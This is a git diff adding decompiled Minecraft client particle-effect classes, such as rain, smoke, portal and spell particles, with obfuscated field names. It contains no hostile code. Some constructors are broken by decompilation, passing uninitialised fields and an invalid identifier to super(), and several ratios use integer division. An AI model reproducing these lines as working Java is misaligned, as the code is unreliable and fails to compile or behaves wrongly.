+++ b/src/minecraft/net/minecraft/client/particle/EntityParticleEmitter.java
@@ -0,0 +1,59 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.EnumParticleTypes;
+import net.minecraft.world.World;
+
+public class EntityParticleEmitter extends EntityFX
+{
+  private Entity field_174851_a;
+  private int field_174852_ax;
+  private int field_174850_ay;
+  private EnumParticleTypes field_174849_az;
+  private static final String __OBFID = "CL_00002574";
+  
+  public EntityParticleEmitter(World worldIn, Entity p_i46279_2_, EnumParticleTypes p_i46279_3_)
+  {
+    super(worldIn, posX, getEntityBoundingBoxminY + height / 2.0F, posZ, motionX, motionY, motionZ);
+    field_174851_a = p_i46279_2_;
+    field_174850_ay = 3;
+    field_174849_az = p_i46279_3_;
+    onUpdate();
+  }
+  
+
+
+  public void func_180434_a(net.minecraft.client.renderer.WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_) {}
+  
+
+  public void onUpdate()
+  {
+    for (int var1 = 0; var1 < 16; var1++)
+    {
+      double var2 = rand.nextFloat() * 2.0F - 1.0F;
+      double var4 = rand.nextFloat() * 2.0F - 1.0F;
+      double var6 = rand.nextFloat() * 2.0F - 1.0F;
+      
+      if (var2 * var2 + var4 * var4 + var6 * var6 <= 1.0D)
+      {
+        double var8 = field_174851_a.posX + var2 * field_174851_a.width / 4.0D;
+        double var10 = field_174851_a.getEntityBoundingBox().minY + field_174851_a.height / 2.0F + var4 * field_174851_a.height / 4.0D;
+        double var12 = field_174851_a.posZ + var6 * field_174851_a.width / 4.0D;
+        worldObj.spawnParticle(field_174849_az, false, var8, var10, var12, var2, var4 + 0.2D, var6, new int[0]);
+      }
+    }
+    
+    field_174852_ax += 1;
+    
+    if (field_174852_ax >= field_174850_ay)
+    {
+      setDead();
+    }
+  }
+  
+  public int getFXLayer()
+  {
+    return 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityPickupFX.java b/src/minecraft/net/minecraft/client/particle/EntityPickupFX.java
new file mode 100644
index 0000000..d732955
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityPickupFX.java
@@ -0,0 +1,71 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.GlStateManager;
+import net.minecraft.client.renderer.OpenGlHelper;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.entity.RenderManager;
+import net.minecraft.entity.Entity;
+import net.minecraft.world.World;
+
+public class EntityPickupFX extends EntityFX
+{
+  private Entity field_174840_a;
+  private Entity field_174843_ax;
+  private int age;
+  private int maxAge;
+  private float field_174841_aA;
+  private RenderManager field_174842_aB = Minecraft.getMinecraft().getRenderManager();
+  private static final String __OBFID = "CL_00000930";
+  
+  public EntityPickupFX(World worldIn, Entity p_i1233_2_, Entity p_i1233_3_, float p_i1233_4_)
+  {
+    super(worldIn, posX, posY, posZ, motionX, motionY, motionZ);
+    field_174840_a = p_i1233_2_;
+    field_174843_ax = p_i1233_3_;
+    maxAge = 3;
+    field_174841_aA = p_i1233_4_;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (age + p_180434_3_) / maxAge;
+    var9 *= var9;
+    double var10 = field_174840_a.posX;
+    double var12 = field_174840_a.posY;
+    double var14 = field_174840_a.posZ;
+    double var16 = field_174843_ax.lastTickPosX + (field_174843_ax.posX - field_174843_ax.lastTickPosX) * p_180434_3_;
+    double var18 = field_174843_ax.lastTickPosY + (field_174843_ax.posY - field_174843_ax.lastTickPosY) * p_180434_3_ + field_174841_aA;
+    double var20 = field_174843_ax.lastTickPosZ + (field_174843_ax.posZ - field_174843_ax.lastTickPosZ) * p_180434_3_;
+    double var22 = var10 + (var16 - var10) * var9;
+    double var24 = var12 + (var18 - var12) * var9;
+    double var26 = var14 + (var20 - var14) * var9;
+    int var28 = getBrightnessForRender(p_180434_3_);
+    int var29 = var28 % 65536;
+    int var30 = var28 / 65536;
+    OpenGlHelper.setLightmapTextureCoords(OpenGlHelper.lightmapTexUnit, var29 / 1.0F, var30 / 1.0F);
+    GlStateManager.color(1.0F, 1.0F, 1.0F, 1.0F);
+    var22 -= interpPosX;
+    var24 -= interpPosY;
+    var26 -= interpPosZ;
+    field_174842_aB.renderEntityWithPosYaw(field_174840_a, (float)var22, (float)var24, (float)var26, field_174840_a.rotationYaw, p_180434_3_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    age += 1;
+    
+    if (age == maxAge)
+    {
+      setDead();
+    }
+  }
+  
+  public int getFXLayer()
+  {
+    return 3;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityPortalFX.java b/src/minecraft/net/minecraft/client/particle/EntityPortalFX.java
new file mode 100644
index 0000000..34fad25
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityPortalFX.java
@@ -0,0 +1,104 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.world.World;
+
+public class EntityPortalFX extends EntityFX
+{
+  private float portalParticleScale;
+  private double portalPosX;
+  private double portalPosY;
+  private double portalPosZ;
+  private static final String __OBFID = "CL_00000921";
+  
+  protected EntityPortalFX(World worldIn, double p_i46351_2_, double p_i46351_4_, double p_i46351_6_, double p_i46351_8_, double p_i46351_10_, double p_i46351_12_)
+  {
+    super(worldIn, p_i46351_2_, p_i46351_4_, p_i46351_6_, p_i46351_8_, p_i46351_10_, p_i46351_12_);
+    motionX = p_i46351_8_;
+    motionY = p_i46351_10_;
+    motionZ = p_i46351_12_;
+    portalPosX = (this.posX = p_i46351_2_);
+    portalPosY = (this.posY = p_i46351_4_);
+    portalPosZ = (this.posZ = p_i46351_6_);
+    float var14 = rand.nextFloat() * 0.6F + 0.4F;
+    portalParticleScale = (this.particleScale = rand.nextFloat() * 0.2F + 0.5F);
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F * var14);
+    particleGreen *= 0.3F;
+    particleRed *= 0.9F;
+    particleMaxAge = ((int)(Math.random() * 10.0D) + 40);
+    noClip = true;
+    setParticleTextureIndex((int)(Math.random() * 8.0D));
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, net.minecraft.entity.Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge;
+    var9 = 1.0F - var9;
+    var9 *= var9;
+    var9 = 1.0F - var9;
+    particleScale = (portalParticleScale * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    int var2 = super.getBrightnessForRender(p_70070_1_);
+    float var3 = particleAge / particleMaxAge;
+    var3 *= var3;
+    var3 *= var3;
+    int var4 = var2 & 0xFF;
+    int var5 = var2 >> 16 & 0xFF;
+    var5 += (int)(var3 * 15.0F * 16.0F);
+    
+    if (var5 > 240)
+    {
+      var5 = 240;
+    }
+    
+    return var4 | var5 << 16;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    float var2 = super.getBrightness(p_70013_1_);
+    float var3 = particleAge / particleMaxAge;
+    var3 = var3 * var3 * var3 * var3;
+    return var2 * (1.0F - var3) + var3;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    float var1 = particleAge / particleMaxAge;
+    float var2 = var1;
+    var1 = -var1 + var1 * var1 * 2.0F;
+    var1 = 1.0F - var1;
+    posX = (portalPosX + motionX * var1);
+    posY = (portalPosY + motionY * var1 + (1.0F - var2));
+    posZ = (portalPosZ + motionZ * var1);
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002590";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityPortalFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityRainFX.java b/src/minecraft/net/minecraft/client/particle/EntityRainFX.java
new file mode 100644
index 0000000..813e76f
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityRainFX.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.block.Block;
+import net.minecraft.block.BlockLiquid;
+import net.minecraft.block.material.Material;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.util.BlockPos;
+import net.minecraft.world.World;
+
+public class EntityRainFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000934";
+  
+  protected EntityRainFX(World worldIn, double p_i1235_2_, double p_i1235_4_, double p_i1235_6_)
+  {
+    super(worldIn, p_i1235_2_, p_i1235_4_, p_i1235_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.30000001192092896D;
+    motionY = (Math.random() * 0.20000000298023224D + 0.10000000149011612D);
+    motionZ *= 0.30000001192092896D;
+    particleRed = 1.0F;
+    particleGreen = 1.0F;
+    particleBlue = 1.0F;
+    setParticleTextureIndex(19 + rand.nextInt(4));
+    setSize(0.01F, 0.01F);
+    particleGravity = 0.06F;
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    motionY -= particleGravity;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9800000190734863D;
+    motionY *= 0.9800000190734863D;
+    motionZ *= 0.9800000190734863D;
+    
+    if (particleMaxAge-- <= 0)
+    {
+      setDead();
+    }
+    
+    if (onGround)
+    {
+      if (Math.random() < 0.5D)
+      {
+        setDead();
+      }
+      
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+    
+    BlockPos var1 = new BlockPos(this);
+    IBlockState var2 = worldObj.getBlockState(var1);
+    Block var3 = var2.getBlock();
+    var3.setBlockBoundsBasedOnState(worldObj, var1);
+    Material var4 = var2.getBlock().getMaterial();
+    
+    if ((var4.isLiquid()) || (var4.isSolid()))
+    {
+      double var5 = 0.0D;
+      
+      if ((var2.getBlock() instanceof BlockLiquid))
+      {
+        var5 = 1.0F - BlockLiquid.getLiquidHeightPercent(((Integer)var2.getValue(BlockLiquid.LEVEL)).intValue());
+      }
+      else
+      {
+        var5 = var3.getBlockBoundsMaxY();
+      }
+      
+      double var7 = net.minecraft.util.MathHelper.floor_double(posY) + var5;
+      
+      if (posY < var7)
+      {
+        setDead();
+      }
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002572";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityRainFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityReddustFX.java b/src/minecraft/net/minecraft/client/particle/EntityReddustFX.java
new file mode 100644
index 0000000..1de067c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityReddustFX.java
@@ -0,0 +1,93 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityReddustFX extends EntityFX
+{
+  float reddustParticleScale;
+  private static final String __OBFID = "CL_00000923";
+  
+  protected EntityReddustFX(World worldIn, double p_i46349_2_, double p_i46349_4_, double p_i46349_6_, float p_i46349_8_, float p_i46349_9_, float p_i46349_10_)
+  {
+    this(worldIn, p_i46349_2_, p_i46349_4_, p_i46349_6_, 1.0F, p_i46349_8_, p_i46349_9_, p_i46349_10_);
+  }
+  
+  protected EntityReddustFX(World worldIn, double p_i46350_2_, double p_i46350_4_, double p_i46350_6_, float p_i46350_8_, float p_i46350_9_, float p_i46350_10_, float p_i46350_11_)
+  {
+    super(worldIn, p_i46350_2_, p_i46350_4_, p_i46350_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.10000000149011612D;
+    motionY *= 0.10000000149011612D;
+    motionZ *= 0.10000000149011612D;
+    
+    if (p_i46350_9_ == 0.0F)
+    {
+      p_i46350_9_ = 1.0F;
+    }
+    
+    float var12 = (float)Math.random() * 0.4F + 0.6F;
+    particleRed = (((float)(Math.random() * 0.20000000298023224D) + 0.8F) * p_i46350_9_ * var12);
+    particleGreen = (((float)(Math.random() * 0.20000000298023224D) + 0.8F) * p_i46350_10_ * var12);
+    particleBlue = (((float)(Math.random() * 0.20000000298023224D) + 0.8F) * p_i46350_11_ * var12);
+    particleScale *= 0.75F;
+    particleScale *= p_i46350_8_;
+    reddustParticleScale = particleScale;
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+    particleMaxAge = ((int)(particleMaxAge * p_i46350_8_));
+    noClip = false;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (reddustParticleScale * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    setParticleTextureIndex(7 - particleAge * 8 / particleMaxAge);
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (posY == prevPosY)
+    {
+      motionX *= 1.1D;
+      motionZ *= 1.1D;
+    }
+    
+    motionX *= 0.9599999785423279D;
+    motionY *= 0.9599999785423279D;
+    motionZ *= 0.9599999785423279D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002589";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityReddustFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, (float)p_178902_9_, (float)p_178902_11_, (float)p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntitySmokeFX.java b/src/minecraft/net/minecraft/client/particle/EntitySmokeFX.java
new file mode 100644
index 0000000..d93fbdf
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntitySmokeFX.java
@@ -0,0 +1,93 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntitySmokeFX extends EntityFX
+{
+  float smokeParticleScale;
+  private static final String __OBFID = "CL_00000924";
+  
+  private EntitySmokeFX(World worldIn, double p_i46347_2_, double p_i46347_4_, double p_i46347_6_, double p_i46347_8_, double p_i46347_10_, double p_i46347_12_)
+  {
+    this(worldIn, p_i46347_2_, p_i46347_4_, p_i46347_6_, p_i46347_8_, p_i46347_10_, p_i46347_12_, 1.0F);
+  }
+  
+  protected EntitySmokeFX(World worldIn, double p_i46348_2_, double p_i46348_4_, double p_i46348_6_, double p_i46348_8_, double p_i46348_10_, double p_i46348_12_, float p_i46348_14_)
+  {
+    super(worldIn, p_i46348_2_, p_i46348_4_, p_i46348_6_, 0.0D, 0.0D, 0.0D);
+    motionX *= 0.10000000149011612D;
+    motionY *= 0.10000000149011612D;
+    motionZ *= 0.10000000149011612D;
+    motionX += p_i46348_8_;
+    motionY += p_i46348_10_;
+    motionZ += p_i46348_12_;
+    particleRed = (this.particleGreen = this.particleBlue = (float)(Math.random() * 0.30000001192092896D));
+    particleScale *= 0.75F;
+    particleScale *= p_i46348_14_;
+    smokeParticleScale = particleScale;
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+    particleMaxAge = ((int)(particleMaxAge * p_i46348_14_));
+    noClip = false;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (smokeParticleScale * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    setParticleTextureIndex(7 - particleAge * 8 / particleMaxAge);
+    motionY += 0.004D;
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (posY == prevPosY)
+    {
+      motionX *= 1.1D;
+      motionZ *= 1.1D;
+    }
+    
+    motionX *= 0.9599999785423279D;
+    motionY *= 0.9599999785423279D;
+    motionZ *= 0.9599999785423279D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  EntitySmokeFX(World p_i46282_1_, double p_i46282_2_, double p_i46282_4_, double p_i46282_6_, double p_i46282_8_, double p_i46282_10_, double p_i46282_12_, Object p_i46282_14_)
+  {
+    this(p_i46282_1_, p_i46282_2_, p_i46282_4_, p_i46282_6_, p_i46282_8_, p_i46282_10_, p_i46282_12_);
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002587";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntitySmokeFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_, null);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntitySnowShovelFX.java b/src/minecraft/net/minecraft/client/particle/EntitySnowShovelFX.java
new file mode 100644
index 0000000..bc90872
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntitySnowShovelFX.java
@@ -0,0 +1,81 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntitySnowShovelFX extends EntityFX
+{
+  float snowDigParticleScale;
+  private static final String __OBFID = "CL_00000925";
+  
+  protected EntitySnowShovelFX(World worldIn, double p_i1227_2_, double p_i1227_4_, double p_i1227_6_, double p_i1227_8_, double p_i1227_10_, double p_i1227_12_)
+  {
+    this(worldIn, p_i1227_2_, p_i1227_4_, p_i1227_6_, p_i1227_8_, p_i1227_10_, p_i1227_12_, 1.0F);
+  }
+  
+  protected EntitySnowShovelFX(World worldIn, double p_i1228_2_, double p_i1228_4_, double p_i1228_6_, double p_i1228_8_, double p_i1228_10_, double p_i1228_12_, float p_i1228_14_)
+  {
+    super(worldIn, p_i1228_2_, p_i1228_4_, p_i1228_6_, p_i1228_8_, p_i1228_10_, p_i1228_12_);
+    motionX *= 0.10000000149011612D;
+    motionY *= 0.10000000149011612D;
+    motionZ *= 0.10000000149011612D;
+    motionX += p_i1228_8_;
+    motionY += p_i1228_10_;
+    motionZ += p_i1228_12_;
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F - (float)(Math.random() * 0.30000001192092896D));
+    particleScale *= 0.75F;
+    particleScale *= p_i1228_14_;
+    snowDigParticleScale = particleScale;
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+    particleMaxAge = ((int)(particleMaxAge * p_i1228_14_));
+    noClip = false;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    particleScale = (snowDigParticleScale * var9);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    setParticleTextureIndex(7 - particleAge * 8 / particleMaxAge);
+    motionY -= 0.03D;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9900000095367432D;
+    motionY *= 0.9900000095367432D;
+    motionZ *= 0.9900000095367432D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002586";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntitySnowShovelFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntitySpellParticleFX.java b/src/minecraft/net/minecraft/client/particle/EntitySpellParticleFX.java
new file mode 100644
index 0000000..67d6c65
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntitySpellParticleFX.java
@@ -0,0 +1,143 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntitySpellParticleFX extends EntityFX
+{
+  private static final Random field_174848_a = new Random();
+  
+
+  private int baseSpellTextureIndex = 128;
+  private static final String __OBFID = "CL_00000926";
+  
+  protected EntitySpellParticleFX(World worldIn, double p_i1229_2_, double p_i1229_4_, double p_i1229_6_, double p_i1229_8_, double p_i1229_10_, double p_i1229_12_)
+  {
+    super(worldIn, p_i1229_2_, p_i1229_4_, p_i1229_6_, 0.5D - field_174848_a.nextDouble(), p_i1229_10_, 0.5D - field_174848_a.nextDouble());
+    motionY *= 0.20000000298023224D;
+    
+    if ((p_i1229_8_ == 0.0D) && (p_i1229_12_ == 0.0D))
+    {
+      motionX *= 0.10000000149011612D;
+      motionZ *= 0.10000000149011612D;
+    }
+    
+    particleScale *= 0.75F;
+    particleMaxAge = ((int)(8.0D / (Math.random() * 0.8D + 0.2D)));
+    noClip = false;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = (particleAge + p_180434_3_) / particleMaxAge * 32.0F;
+    var9 = MathHelper.clamp_float(var9, 0.0F, 1.0F);
+    super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    setParticleTextureIndex(baseSpellTextureIndex + (7 - particleAge * 8 / particleMaxAge));
+    motionY += 0.004D;
+    moveEntity(motionX, motionY, motionZ);
+    
+    if (posY == prevPosY)
+    {
+      motionX *= 1.1D;
+      motionZ *= 1.1D;
+    }
+    
+    motionX *= 0.9599999785423279D;
+    motionY *= 0.9599999785423279D;
+    motionZ *= 0.9599999785423279D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+
+
+
+  public void setBaseSpellTextureIndex(int p_70589_1_)
+  {
+    baseSpellTextureIndex = p_70589_1_;
+  }
+  
+  public static class AmbientMobFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002585";
+    
+    public AmbientMobFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntitySpellParticleFX var16 = new EntitySpellParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setAlphaF(0.15F);
+      var16.setRBGColorF((float)p_178902_9_, (float)p_178902_11_, (float)p_178902_13_);
+      return var16;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002582";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntitySpellParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+  
+  public static class InstantFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002584";
+    
+    public InstantFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntitySpellParticleFX var16 = new EntitySpellParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setBaseSpellTextureIndex(144);
+      return var16;
+    }
+  }
+  
+  public static class MobFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002583";
+    
+    public MobFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntitySpellParticleFX var16 = new EntitySpellParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setRBGColorF((float)p_178902_9_, (float)p_178902_11_, (float)p_178902_13_);
+      return var16;
+    }
+  }
+  
+  public static class WitchFactory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002581";
+    
+    public WitchFactory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      EntitySpellParticleFX var16 = new EntitySpellParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+      var16.setBaseSpellTextureIndex(144);
+      float var17 = rand.nextFloat() * 0.5F + 0.35F;
+      var16.setRBGColorF(1.0F * var17, 0.0F * var17, 1.0F * var17);
+      return var16;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntitySplashFX.java b/src/minecraft/net/minecraft/client/particle/EntitySplashFX.java
new file mode 100644
index 0000000..4fb8284
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntitySplashFX.java
@@ -0,0 +1,32 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.world.World;
+
+public class EntitySplashFX extends EntityRainFX
+{
+  private static final String __OBFID = "CL_00000927";
+  
+  protected EntitySplashFX(World worldIn, double p_i1230_2_, double p_i1230_4_, double p_i1230_6_, double p_i1230_8_, double p_i1230_10_, double p_i1230_12_)
+  {
+    super(worldIn, p_i1230_2_, p_i1230_4_, p_i1230_6_);
+    particleGravity = 0.04F;
+    nextTextureIndexX();
+    
+    if ((p_i1230_10_ == 0.0D) && ((p_i1230_8_ != 0.0D) || (p_i1230_12_ != 0.0D)))
+    {
+      motionX = p_i1230_8_;
+      motionY = (p_i1230_10_ + 0.1D);
+      motionZ = p_i1230_12_;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002580";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
